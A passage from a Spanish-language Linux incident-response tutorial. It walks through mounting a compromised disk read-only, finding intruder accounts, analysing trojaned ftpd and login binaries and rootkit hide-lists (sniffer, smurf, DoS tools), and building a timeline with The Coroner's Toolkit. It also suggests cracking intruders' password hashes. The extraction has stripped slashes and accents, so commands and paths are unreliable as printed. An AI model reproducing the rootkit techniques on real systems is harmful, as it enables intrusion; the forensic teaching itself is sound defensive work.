d Si se estaacute guardando maacutes de una particioacuten en la cinta hay que asegurarse que se utiliza el dispositivo non-rewindpara cada particioacuten entonces se usa mt rewind o simplemente se saca la cinta lo que causaraacute que se rebobine Ahora escuando debe habilitar la proteccioacuten de escritura de la cinta ya que no queremos que de forma accidental se sobrescribala informacioacuten Una vez que vuelva a meter la cinta en el dispositivo se debe comprobar que la proteccioacuten contraescritura estaacute funcionando correctamente utilizando el comando mt El siguiente ejemplo muestra el estado de unacinta protegida contra escritura posicionada en el punto BOT y el primer fichero estaacute marcado como 0

14

mt statusSCSI 2 tape driveFile number=0 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (45010000)

BOT WR_PROT ONLINE IM_REP_EN

Mientras que el siguiente ejemplo muestra el estado de una cinta sin proteccioacuten contra escritura y el fin de 2ordm ficheroen la cinta 1 lo que es tambieacuten en este caso el fin de la cinta

mt fsf 1devtape Inputoutput error

mt statusSCSI 2 tape driveFile number=1 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (89010000)

EOF EOD ONLINE IM_REP_EN

e Monte el sistema de ficheros root pero no modifiacutequelo de ninguna manera Para hacerlo bien hay que montarla demodo solo lectura con opcioacuten -r o -o ro Tenemos que tener en cuenta que la pertenencia de ficheros se contaraacutebasaacutendose en el fichero etcgroup del sistema de anaacutelisis y no del fichero group del sistema comprometido

Ejemplo

mount -r devhdd2 mnt

ls -lat mnttotal 73drwxr-x--- 17 root root 1024 May 1 0901 rootdrwxrwxrwt 6 root root 1024 May 1 0403 tmpdrwxr-xr-x 8 root root 34816 Apr 30 0402 devdrwxr-xr-x 34 root root 3072 Apr 29 1417 etcdrwxr-xr-x 2 root root 2048 Apr 26 1652 bin

15

drwxr-xr-x 2 root root 1024 Apr 26 1112 bootdrwxr-xr-x 3 root root 3072 Apr 21 0401 sbindrwxr-xr-x 4 root root 3072 Apr 21 0356 libdrwxrwxr-x 2 root root 1024 Mar 3 1327 cdromdrwxr-xr-x 2 root root 1024 Oct 9 1999 homedrwxr-xr-x 2 root root 12288 Oct 9 1999 lost+founddrwxr-xr-x 4 root root 1024 Oct 9 1998 mntdrwxr-xr-x 2 root root 1024 Oct 9 1999 procdrwxr-xr-x 20 root root 1024 Aug 2 1998 usrdrwxr-xr-x 18 root root 1024 Aug 2 1998 var

Observando este listado podemos notar que efectivamente no nos hemos equivocado ya que esa particioacuten es de hechola particioacuten root ya que contiene directorios usr var proc bin root etc etc Vemos que el directoriohome tiene 2 enlaces y el directorio usr tiene 20 enlaces (ya que por las entradas de directorios y el nuacutemeromiacutenimo de enlaces que llevan a un directorio son 2) Todaviacutea no sabemos que es lo que exactamente contiene laparticioacuten devhdd4 Parece que posiblemente contiene el contenido del home y no del usr ni tampoco var por lasmismas razones

Por supuesto para salir de dudas podemos examinar el fichero etcfstab

Ejemplo

less mntetcfstab

devhda1 dosc msdos defaults 0 0devhda2 ext2 defaults 1 1devhda4 home ext2 defaults 1 2devhda3 swap swap defaults 0 0devcdrom cdrom iso9660 noautouserro 0 0devfd0 floppy ext2 noautouserrw 0 0none proc proc defaults 0 0none devpts devpts mode=0622 0 0

Cabe tomar nota aquiacute que utilizamos el paginador less Es para prevenir potencialmente insertados caracteresespeciales que pueden modificar los ajustes del terminal en tty si eso pasa el terminal es inutilizable para nosotrosya que no podemos ni leer ni escribir de forma legible Si estuvo utilizando el programa script para logear la sesioacutentendraacute que salir y resetear el terminal posiblemente olvidando de script y olvidando de los records anteriores Detodas maneras antes de salir intentaremos Ctrl+D para cerrar la sesioacuten script

Recuerde que si el disco era el uacutenico dispositivo IDE utilizado en el sistema pueda posiblemente ser master en elprimer controlador o devhda Por eso el fichero fstab los muestra de tal forma y no como devhdd como aparecen ennuestro sistema de anaacutelisis Por lo tanto para que podamos montar la particioacuten home necesitamos utilizar devhdd4

16

Ejemplo

umount mnt mount -r devhdd4 mnt ls -lat mnttotal 21drwx------ 47 user1 user1 3072 Apr 28 1152 user1drwx------ 10 user3 user3 1024 Dec 3 1419 user3drwx------ 4 user2 user2 1024 Oct 14 1999 user2drwxr-xr-x 2 root root 12288 Oct 1 1999 lost+founddrwxr-xr-x 2 root nobody 1024 Apr 15 1999 sambadrwxr-xr-x 5 root root 1024 Apr 7 1999 httpddrwxr-xr-x 6 root root 1024 Mar 21 1999 ftpdrwxr-xr-x 30 root root 1024 Aug 2 1998 local

Ahora podemos ver el contenido de la particioacuten home montado sobre mnt Vamos por ahora ignorar el contenidode la particioacuten home ya que ninguacuten fichero de sistema operativo se encuentra alliacute En futuro podemos examinarsu contenido para detectar alguacuten indicio de back-door como aplicaciones setuidsetgid ficheros rhosts comandosantildeadidos a los ficheros de inicializacioacuten de shell (cshrc bashrc etc) que pueden enviar una copia de fichero quecontiene passwords a una direccioacuten borrar fichero similares

Ahora vamos a re-montar en solo lectura el sistema de ficheros root y empecemos a investigar

Ejemplo

umount mnt mount -r devhdd2 mnt

Primero verifiquemos que es lo que contiene el fichero etcpasswd para ver que UIDGIDs hay dentro Este ficherodebe ser copiado y utilizado con la aplicacioacuten mactime del suite de herramientas The Coronerrsquos Toolkit [13] Laaplicacioacuten nos mostraraacute el mapeo correcto de UIDs y GIDs

El fichero puede contener cuentas creadas por los intrusos como por ejemplo aquiacute

less mntetcpasswd

rootx00rootrootbinbashbinx11binbindaemonx22daemonsbinadmx34admvaradmlpx47lpvarspoollpd

17

syncx50syncsbinbinsyncshutdownx60shutdownsbinsbinshutdownzx00binbashhaltx70haltsbinsbinhaltmailx812mailvarspoolmailnewsx913newsvarspoolnewsuucpx1014uucpvarspooluucpoperatorx110operatorrootr00tx598500binbashgamesx12100gamesusrgamesyx900100tmpbinbashgopherx1330gopherusrlibgopher-dataftpx1450FTP Userhomeftpnobodyx9999Nobodygdmx4242homegdmbinbashxfsx100233X Font ServeretcX11fsbinfalseuser1x500500User 1homeuser1bintcshuser2x501501User 2homeuser2bintcshuser3x502502User 3homeuser3bintcshnamedx2525Namedvarnamedbinfalse

En el ejemplo anterior podemos observar que hay cuentas que parecen totalmente fuera de lugar ya que tienen nuacutemerosUID elevados y sin orden aparente por ejemplo r00t y (que por cierto tiene asignado como $HOME el directoriotmp) Un fichero de passwd legiacutetimo y creado por el sistema normalmente sigue un patroacuten secuencial de asignacioacutende UIDrsquos Mientras aquiacute anotamos que las cuentas con UIDs de orden bajo como reciente mente antildeadidos namedcon UID 25 y z con UID 0 y GID 0 (lo mismo que root) son altamente sospechosos por su posicioacuten Hemos tomadonota para volver luego y investigar maacutes en detalle Intente de forma opcional extraer las contrasentildeas de esos usuariosen formato cifrado y intentar ripearlos (hay muchas posibilidades de que los intrusos tengan la misma contrasentildea enla maacutequina atacada y en suya propia) Tambieacuten apunte algunas conclusiones a las que hemos llegado ahora

1Creacioacuten de cuentas es una accioacuten frecuente y creadas de tal manera como hemos visto anteriormente muestranun nivel de conocimientos bajo del intruso

2Tambieacuten podemos suponer que los intrusos ya han observado que el administrador no realiza verificaciones deseguridad rutinarias y no temen ser descubiertos

3Puede ser que sea un entretenimiento para los intrusos crear cuentas para que el administrador las encuentre laselimine y asume que el sistema estaacute seguro mientras que hay muacuteltiples puertas traseras instaladas que permitencompromiso root de la maacutequina

4Como normalmente las cuentas se crean de forma secuencial en el fichero etcpasswd puede que el administrador(o alguien maacutes) haya instalado named en el sistema de forma reciente (o el intruso haya instalado una versioacutende named vulnerable)

18

Debe empezar a construir una liacutenea temporal para anotar cuando han ocurrido los hechos intentar trazar de formainversa todos los acciones hasta el intento de entrada al sistema y el punto de origen de entrada Aprovechando todoslos hechos acumulados al final podremos determinar el origen verdadero del atacante y los sistemas utilizados paraatacar a la maacutequina

En este momento nos encontramos en la fase de observacioacuten ahora estamos tomando notas de lo que pasoacute hemosverificado que tenemos el contenido de disco duro intacto disponemos de tres copias del disco duro y las estamosestudiando en modo solo lectura

Desde aquiacute el anaacutelisis puede ser continuado usando herramientas comunes de Unix yo herramientas especialmentedisentildeados para anaacutelisis forense Tambieacuten debemos utilizar toda nuestra experiencia anterior y el sentido comuacuten

7 Anaacutelisis con Herramientas Estaacutendar de UnixAsumiendo que nuestras herramientas de Unix estaacuten limpias de root-kit podemos seguir desde el punto donde lodejamos en la seccioacuten anterior Hemos notado que las dos cuentas y y z tienen el directorio home situado en entmp y en respectivamente Eso significa que debemos examinar de forma detenida estos directorios para detectarcualquier anomaliacutea

ls -lat mnttmptotal 156drwxrwxrwt 6 root root 1024 May 1 0403 -r--r--r-- 1 root gdm 11 Apr 29 1417 X0-lockdrwxrwxrwt 2 root gdm 1024 Apr 29 1417 X11-unixdrwxrwxrwt 2 xfs xfs 1024 Apr 29 1417 font-unixdrwxr-xr-x 25 y root 1024 Apr 28 2347 drwx------ 2 user1 user1 1024 Apr 26 1736 kfm-cache-500-rw-rw-r-- 1 user1 user1 12288 Apr 26 1637 psdevtabdrwxrwxrwt 2 root root 1024 Apr 21 1112 ICE-unix-rwx------ 1 root root 138520 Apr 20 2015 fileMFpmnk

El listado nos muestra que existe un fichero cuyo tamantildeo es superior al resto Tambieacuten vemos que es el fichero maacutesantiguo de la carpeta que pertenece al root El nombre del fichero no estandarizado y posee derechos de ejecucioacutenDebemos determinar de que tipo de fichero se trata El programa file nos informa que el fichero misterioso es unbinario ELF de 32-bit LSB ejecutable Intel 80386 versioacuten 1 (Linux) enlazado estaacuteticamente stripeado Para ver cuales el objetivo del fichero examinamos el listado de cadenas de texto que contiene

1strings - mnttmpfileMFpmnk

19

libld-linuxso2__gmon_start__libpamso0_DYNAMIC_GLOBAL_OFFSET_TABLE_pam_set_itemfree__ctype_tolowermallocstrcmppam_endpam_start

FileCompressedBlockStream[nowhere yet]ftpdaAvdlLiopPqQrsStTuwWXbad value for -uoption -c requires an argumentunknown option -c ignored

VirtualFTP Connect to s [s]bannerlogfileemailvarlogxferlogconnection refused (server shut down) from ss FTP server shut down -- please try again laterlslongbinls -lalsshortlsplainbinlsgreetingfulltersebriefs FTP server (s) readys FTP server readyFTP server ready

FTP LOGIN REFUSED (already logged in as s) FROM s s

20

Already logged inetcftphostsFTP LOGIN REFUSED (name in s) FROM s sanonymousFTP LOGIN REFUSED (anonymous ftp denied on default server) FROM s sFTP LOGIN REFUSED (ftp in denied-uid) FROM s setcftpusers

Por lo que vemos strings nos comenta que el binario es un servidor FTP normalmente llamado ftpd oacute inftpd Puedeser que el fichero forma parte de un root-kit o de un caballo de Troya Los ficheros de configuracioacuten de este tipode kits suelen normalmente encontrarse en el directorio dev entonces una buacutesqueda raacutepida en ese directorio podraacutedesvelar nos mucha informacioacuten uacutetil

cd mntdev ls -lat | head -30total 116drwxr-xr-x 8 root root 34816 Apr 30 0402 srw-rw-rw- 1 root root 0 Apr 30 0402 logcrw------- 1 root root 4 1 Apr 29 1417 tty1crw------- 1 root root 4 2 Apr 29 1417 tty2crw------- 1 root root 4 3 Apr 29 1417 tty3crw------- 1 root root 4 4 Apr 29 1417 tty4crw------- 1 root root 4 5 Apr 29 1417 tty5crw------- 1 root root 4 6 Apr 29 1417 tty6srwxrwxrwx 1 root root 0 Apr 29 1417 gpmctlsrw------- 1 root root 0 Apr 29 1417 printercrw-r--r-- 1 root root 1 9 Apr 29 1417 urandomprw------- 1 root root 0 Apr 29 1414 initctldrwxr-xr-x 25 y root 1024 Apr 28 2347 crw-rw-rw- 1 root tty 3 2 Apr 28 1144 ttyp2crw-rw-rw- 1 root tty 3 0 Apr 28 1143 ttyp0crw-rw-rw- 1 root tty 3 1 Apr 28 1143 ttyp1-rw-r--r-- 1 root root 18 Apr 27 2258 ptypdrwxr-xr-x 4 r00t root 1024 Apr 27 2258 crw-rw-rw- 1 root tty 3 4 Apr 27 1202 ttyp4crw-rw-rw- 1 root tty 3 3 Apr 27 1156 ttyp3crw------- 1 root root 5 1 Apr 21 1109 consolelrwxrwxrwx 1 root root 5 Apr 21 0402 mouse -gt psauxdrwxr-xr-x 2 root root 1024 Apr 20 1521 rev0-rw-r--r-- 1 root root 33 Apr 20 1521 ptyrlrwxrwxrwx 1 root root 9 Feb 28 0223 isdnctrl -gt isdnctrl0lrwxrwxrwx 1 root root 5 Feb 28 0223 nftape -gt nrft0lrwxrwxrwx 1 root root 3 Feb 28 0223 fb -gt fb0

21

lrwxrwxrwx 1 root root 15 Feb 28 0223 fd -gt procselffdlrwxrwxrwx 1 root root 4 Feb 28 0223 ftape -gt rft0Broken pipe

De todos los ficheros que podemos ver en este directorio nos llaman atencioacuten los archivos ptyp y ptyr que noson dispositivos comunes ni directorios ni tampoco enlaces simboacutelicos son ficheros de tipo ASCII text Tambieacutenlocalizamos un directorio llamado rev0 y una carpeta oculta que pertenece al usuario r00t

less ptyr

spplslicessynk4rev0bc1snif

Son ficheros de configuracioacuten de un caballo de Troya El contenido muestra que ls ocultaraacute ficheros o directorios spplslice (un cliente DoS) ssynk4 (cliente DoS) rev0 bc1 y snif (adivina que puede ser )

Si estamos seguros que nuestro sistema no estaacute infectado con un root-kit podemos utilizar las herramientas find ygrep para identificar doacutende se encuentran estos ficheros (el disco estaacute montado como solo lectura nodev iquestverdad)

cd mnt

find -ls | grep -f etcptyr282058 1 drwxr-xr-x 2 root root 1024 Apr 20 1521 devrev0282059 1 -rw-r--r-- 1 root root 5 Apr 20 1521 devrev0sniffpid

282061 20 -rw-r--r-- 1 root root 19654 Apr 20 2023 devrev0tcplog164753 9 -rwxr-xr-x 1 1080 users 9106 Sep 20 1999 devrev0slice164754 8 -rwxr-xr-x 1 1080 users 8174 Sep 20 1999 devrev0smurf4164755 8 -rwxr-xr-x 1 1080 users 7229 Sep 20 1999 devrev0snif164756 4 -rwxr-xr-x 1 1080 users 4060 Mar 5 1999 devrev0sppl164770 9 -rwxr-xr-x 1 root 1000 8268 Aug 10 1999 devblitznetslice2

61907 2 -rwxr-xr-x 1 root root 2006 Mar 29 1999 usrbinsliceprint

255230 1 -rw-r--r-- 1 root root 900 Mar 21 1999 usrincludepython15sliceobjecth

22

Algunos de los ficheros que estaacuten en la lista posiblemente son ficheros legiacutetimos del sistema operativo pero hayalgunos que son bastante sospechosos los que se encuentran en dos carpetas del directorio dev

cd mntdev less ptyp

3 egg3 egg3 bnc

En este momento podemos hacer una apuesta seguro que el fichero ptyp es un fichero de configuracioacuten de la utilidadps del root-kit que oculta los procesos que contienen cadenas egg bnc en sus nombres Hay que encontrarbinarios ejecutables con estos nombres

cd mntdev ls -lR total 2699drwxr-sr-x 2 root 1000 1024 Aug 10 1999 blitznet-rw-r--r-- 1 root root 30720 Apr 26 0407 blitznettar-rwxrw-r-- 1 r00t user1 22360 Apr 27 2258 bnc-rw-r--r-- 1 900 users 2693120 Apr 20 2218 collisiontar-rw-rw-r-- 1 r00t user1 976 Apr 27 2258 exampleconf-rw-rw-r-- 1 user1 user1 5 Apr 28 2035 pidbnc

blitznettotal 22-rw-r--r-- 1 root 1000 3450 Aug 10 1999 README-rw-r--r-- 1 root 1000 1333 Aug 10 1999 blitzc-rw-r--r-- 1 root 1000 3643 Aug 10 1999 blitzdc-rwxr-xr-x 1 root 1000 2258 Aug 10 1999 rushtcl-rwxr-xr-x 1 root 1000 8268 Aug 10 1999 slice2

ls -lR rev0rev0total 51

23

-rwxr-xr-x 1 1080 users 9106 Sep 20 1999 slice-rwxr-xr-x 1 1080 users 8174 Sep 20 1999 smurf4-rwxr-xr-x 1 1080 users 7229 Sep 20 1999 snif-rw-r--r-- 1 root root 5 Apr 20 1521 sniffpid-rwxr-xr-x 1 1080 users 4060 Mar 5 1999 sppl-rw-r--r-- 1 root root 19654 Apr 20 2023 tcplog

cd mntusrbin ls -lat | headtotal 89379drwxr-xr-x 6 root root 27648 Apr 21 0401 -rwsr-xr-x 1 root root 20164 Apr 15 1923 chxlrwxrwxrwx 1 root root 8 Feb 28 0228 netscape-navigator -gt netscapedrwxrwxr-x 2 news news 1024 Feb 28 0225 rnewslibexecdrwxrwxr-x 2 news news 1024 Feb 28 0225 controldrwxrwxr-x 2 news news 1024 Feb 28 0225 filterlrwxrwxrwx 1 root root 4 Dec 30 1306 elatex -gt etexlrwxrwxrwx 1 root root 5 Dec 30 1306 lambda -gt omegalrwxrwxrwx 1 root root 3 Dec 30 1306 latex -gt texBroken pipe

strings - chxlibld-linuxso2__gmon_start__libcryptso1libpamso0

varlogbtmpusrsharelocaleutil-linuxfhplogin -h for super-user onlyusage login [-fp] [username]devttysdevvcsdevvcsaloginlogin PAM Failure aborting sCouldnrsquot initialize PAM sFAILED LOGIN d FROM s FOR s sLogin incorrectTOO MANY LOGIN TRIES (d) FROM s FOR s s

24

FAILED LOGIN SESSION FROM s FOR s sLogin incorrecthushloginssvarrunutmpvarlogwtmpbinshTERMdumbHOMEusrlocalbinbinusrbinPATHsbinbinusrsbinusrbinSHELLvarspoolmailMAILLOGNAMEDIALUP AT s BY sROOT LOGIN ON s FROM sROOT LOGIN ON sLOGIN ON s BY s FROM sLOGIN ON s BY sYou have smailnewlogin failure forking ssetuid() failedNo directory sLogging in with home = login no memory for shell scriptexeclogin couldnrsquot exec shell script slogin no shell ss loginlogin name much too longNAME too longlogin names may not start with rsquo-rsquotoo many bare linefeedsEXCESSIVE linefeedsLogin timed out after d secondsetcsecurettyetcmotdvarloglastlogLast login sfrom son sLOGIN FAILURE FROM s s

25

LOGIN FAILURE ON s sd LOGIN FAILURES FROM s sd LOGIN FAILURES ON s s

El programa nos muestra los mensajes del sistema mencionando el fichero hushlogin Todos los indicios apuntanque el binario es una versioacuten modificada de de la aplicacioacuten login Siempre Los binarios siempre incluyen informacioacutende objetos compilados y enlazados salvo que esteacuten stripeados Si estaacute presente esa informacioacuten podemos examinarlacon la utilidad nm

nm chxchx no symbols

En este caso estamos seguros que el fichero estaacute stripeado Tambieacuten podemos aprender bastante de lo que nos muestranlos enlaces a las libreriacuteas dinaacutemicas Para verlo utilicemos ldd

ldd chxlibcryptso1 =gt liblibcryptso1 (0x40018000)libpamso0 =gt liblibpamso0 (0x40045000)libdlso2 =gt liblibdlso2 (0x4004d000)libpam_miscso0 =gt liblibpam_miscso0 (0x40050000)libcso6 =gt liblibcso6 (0x40054000)libld-linuxso2 =gt libld-linuxso2 (0x40000000)

El binario depende del moacutedulo PAM y de las libreriacuteas criptograacuteficas Entonces el binario efectuacutea algunas tareas deautenticacioacuten de usuarios El binario parece ser el binlogin modificado que pertenece a alguacuten caballo de Troya

Normalmente los intrusos no dejan huellas evidentes que nos permiten encontrar ficheros y directorios El ejemploanterior nos ha probado que utilizando herramientas baacutesicas podemos reunir bastante informacioacuten

En caso de que no sea tan sencillo se deberaacute utilizar herramientas maacutes complejas y eficaces Para ver alguacuten ejemplocomplejo podemos ver referencias [14 15]

8 The Coronerrsquos ToolkitThe Coronerrsquos Toolkit (o el TCT) es un suite de aplicaciones escritas por Dan Farmer y Wietse Venema para uncurso organizado por IBM sobre un estudio forense de equipos comprometidos

Las aplicaciones maacutes importantes del suite son

26

bull grave-robber - Una utilidad para capturar informacioacuten sobre inodes para luego pueda ser procesada por elprograma mactime del mismo toolkit

bull unrm y lazarus - Herramientas para la recuperacioacuten de archivos borrados (logs RAM swap etc) Estasaplicaciones identifican y recuperan la informacioacuten oculta en los sectores del disco duro

bull mactime - El programa para visualizar los ficherosdirectorios su timestamp MAC (Modification Access yChange)

De todas esas herramientas las maacutes uacutetiles y interesantes son grave-robber y mactime unrm y lazarus son buenas si setiene mucho tiempo y espacio libre en el disco ya que el programa necesita identificar informacioacuten en los sectores deldisco para recuperar los ficheros (logs fuentes etc) borrados por los intrusos

La funcioacuten maacutes baacutesica de grave-robber es de escanear algunas o todas sistemas de ficheros con funcioacuten stat() paraobtener informacioacuten de los inodes Grave-robber crea en la carpeta data un directorio llamado como el nombredel host de la maacutequina y alliacute almacena los inodes dentro del fichero body El programa mactime luego ordena losresultados y los muestra seguacuten el tiempo cual de los tres timestamps corresponde muestra el tipo de fichero tamantildeoy a quieacuten pertenece junto con el path

Desde el listado podremos sacar algunas conclusiones sobre la actividad que ha ejercido el intrusolos intrusos duranteel tiempo que estuvieron dentro del sistema Eso puede incluir instalacioacuten de caballos de Troya backdoors sustitucioacutende ficheros legiacutetimos del sistema operativo descarga de herramientas modificacioacuten de las libreriacuteas del sistema oinstalacioacuten de rpmrsquosdebrsquospkgrsquos etc Tambieacuten podemos ver desde aquiacute la creacioacuten de directorios ocultos ejecucioacutende los comandos de sistema operativo compilacioacuten y ejecucioacuten de aplicaciones Toda esa informacioacuten que nunca sealmacena de forma directa puede ser extraiacuteda de la informacioacuten que da mactime

9 Usando TCTAhora paso por paso intentaremos instalar la aplicacioacuten The Coroners Toolkit que nos serviraacute para recoger lainformacioacuten sobre el sistema de ficheros y analizarla La herramienta no es un ejecutable que realiza todas las tareassino es una coleccioacuten de utilidades disentildeadas para efectuar una tarea determinada siendo importante entender elfuncionamiento de cada una de ellas para poder entender la funcioacuten del toolkit en su totalidad

bull El primer paso es de desempaquetar el archivo tct-109targz y copiarlo al directorio usrlocaltct-109 luegodebemos leer detenidamente el fichero de instrucciones de instalacioacuten INSTALL

La instalacioacuten de la aplicacioacuten debe ser realizada en una particioacuten donde haya mucho espacio ya que algunasaplicaciones suelen generar una cantidad grande de informacioacuten de salida por ejemplo unrm y lazarus

bull Ahora reconfiguremos los scripts utilizando perl reconfig ya que TCT utiliza rutas completas

27

bull Limpiamos bien la distribucioacuten con un make clean make all

bull Leemos documentacioacuten del directorio docs para conocer los detalles de funcionamiento del Toolkit

1 ls -l docs

total 34-rw-r--r-- 1 root root 8572 Mar 28 1241 README-rw-r--r-- 1 root root 7162 Mar 28 1239 grave-robberREADME-rw-r--r-- 1 root root 13944 Jan 16 1334 lazarusREADME-rw-r--r-- 1 root root 2830 Mar 27 1507 macREADME

bull Montamos la particioacuten que debemos analizar en modo solo lectura y nodev bajo alguacuten punto de montura

mount -r devhdd2 mnt

bull Suponiendo que siendo root arrancamos la aplicacioacuten grave-robber para que empiece a analizar el sistema de fiche-ros y procesos y guardar los datos de los inodes en el fichero dataactivalinkcombase y dataactivalinkcombaseS(binarios sUID) el estado del sistema en el directorio dataactivalinkcomcommand_out etc

bingrave-robber -m mnt

Grave-robber inicialmente realizaraacute un anaacutelisis de todas las carpetas que estaacuten en el $PATH y a continuacioacuten empezaraacutea analizar la particioacuten montada mnt El anaacutelisis suele tardar bastante tiempo seguacuten el tamantildeo de la particioacuten quequeremos analizar Aparte de los inodes se guarda el estado general del sistema es decir el output de las herramientasde monitorizacioacuten del sistema como ps top w etc

bull Una vez terminado el trabajo del grave-robber copiamos los ficheros passwd y group del sistema comprometidoal directorio tct-109 para que los tengamos a mano ya que en breve estaremos analizaacutendolos Para que se puedadistinguirlos luego renombramos estos ficheros passwdvictim o utilicemos el nombre del host comprometido

bull Ejecutamos luego la utilidad mactime especificando una fecha anterior del compromiso (consideremos que laactividad del intruso ha acabado hoy pero no vamos a especificar hora) Necesitaremos pasar los resultados deejecucioacuten de mactime a un fichero para que luego se pueda examinar su contenido con tranquilidad

28

binmactime -p passwdvictim -g groupvictim mnt 06012000 gt victimmactime

En la utilidad mactime hubo un bug en las versiones anteriores que haciacutea que la aplicacioacuten no funcione correctamente sise utilizaba la opcioacuten -p Entonces haciacuteamos un work around incorporando temporalmente el contenido del ficheroetcpasswd de la maacutequina viacutectima coincidir con eacutel de nuestro sistema En la versioacuten actual este bug estaacute solucionado

bull Hacemos una copia del fichero antes de empezar el anaacutelisis

cp victimmactime victimmactimeevidence

bull Entonces podemos empezar analizando el fichero victimmactimeevidence Usando el editor de texto favoritoempecemos a revisarlo y marcar la actividad sospechosa Sugiero que pongamos los tags [MARK] para que luegocon grep podamos localizar nuestros apuntes

Feb 13 2000 011050 50148 mca -rwxr-xr-x root root xdevFeb 13 2000 011052 564 mc -rw-r--r-- root root xetcprofileFeb 13 2000 011100 5 mac -rw-r--r-- root root xlibsp

18110 a -rw-r--r-- root root xlibtp[MARK]Feb 13 2000 011208 0 c -rw-r--r-- root root xdevttyag

25 c -rwxr-xr-x root root xdevttyfg23 c -rwxr-xr-x root root xdevttypg

373176 c -rws--x--x root root xlib8268 c -rwxr-xr-x root root xlibgo

20164 c -rwsr-xr-x root root xusrbinxcat183780 c -rwxr-xr-x root root xusrsbinfind

Feb 13 2000 013000 8268 a -rwxr-xr-x root root xlibgoFeb 14 2000 104203 1166856 a -rw-r--r-- root root xvarlogbootlog[MARK]Feb 14 2000 104535 18110 mc -rw-r--r-- root root xlibtpFeb 14 2000 105742 2998 mc -rw-r--r-- root root xetcinetdconf~Feb 14 2000 110147 168 a -rw-rw-r-- root root xrootsaves-1380-dragon~

Feb 14 2000 111838 160 mc -rw-r--r-- root root xetchostsallowoldFeb 14 2000 111855 347 mc -rw-r--r-- root root xetchostsdenyoldFeb 14 2000 111908 8 mc -rw-r--r-- root root xetchostsdenyFeb 14 2000 112253 168 mc -rw-rw-r-- root root xrootsaves-1380-dragon~

29

Feb 14 2000 113030 2998 a -rw-r--r-- root root xetcinetdconf~[MARK]Feb 14 2000 113125 20164 a -rwsr-xr-x root root xusrbinxcatFeb 14 2000 113410 868 mc -rwxr-xr-x root root xetcrcdrclocal

bull Despueacutes de repasar todo el listado de cambios histoacutericos puede que tengamos alguna pista para seguir o puedeque no En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromisointentaacutendolo de nuevo o mirar maacutes detenidamente Durante el examen del documento se prohibe distraerse ya quela concentracioacuten es muy importante en este momento

bull Otra opcioacuten es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa stringsLas dos utilidades unrm y lazarus generan muchiacutesima informacioacuten y debemos tener bastante espacio libre enla particioacuten Podemos determinar la cantidad de espacio en disco duro que necesitamos calculando de formaaproximada a partir del informe de df

df mntFilesystem 1k-blocks Used Available Use Mounted ondevhdb2 3028881 1604551 1267697 56 mnt

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar que significa que unrm puede llegar a generaraproximadamente 12 Gb de informacioacuten Encontremos una particioacuten libre y almacenemos alliacute el dump (Importanteen el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de anaacutelisis)

binunrm devhdb2 gt datavictimhda2unrm

bull Pero si disponemos de maacutes espacio (maacutes de 12Gb) y mucho maacutes tiempo para practicar con lazarus que procesaraacuteel espacio libre en el disco duro y intentaraacute recuperar ficheros por sus tipos lazarus genera una salida en formatoHTML que nos va a dar la oportunidad de verla a traveacutes del navegador

30

10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

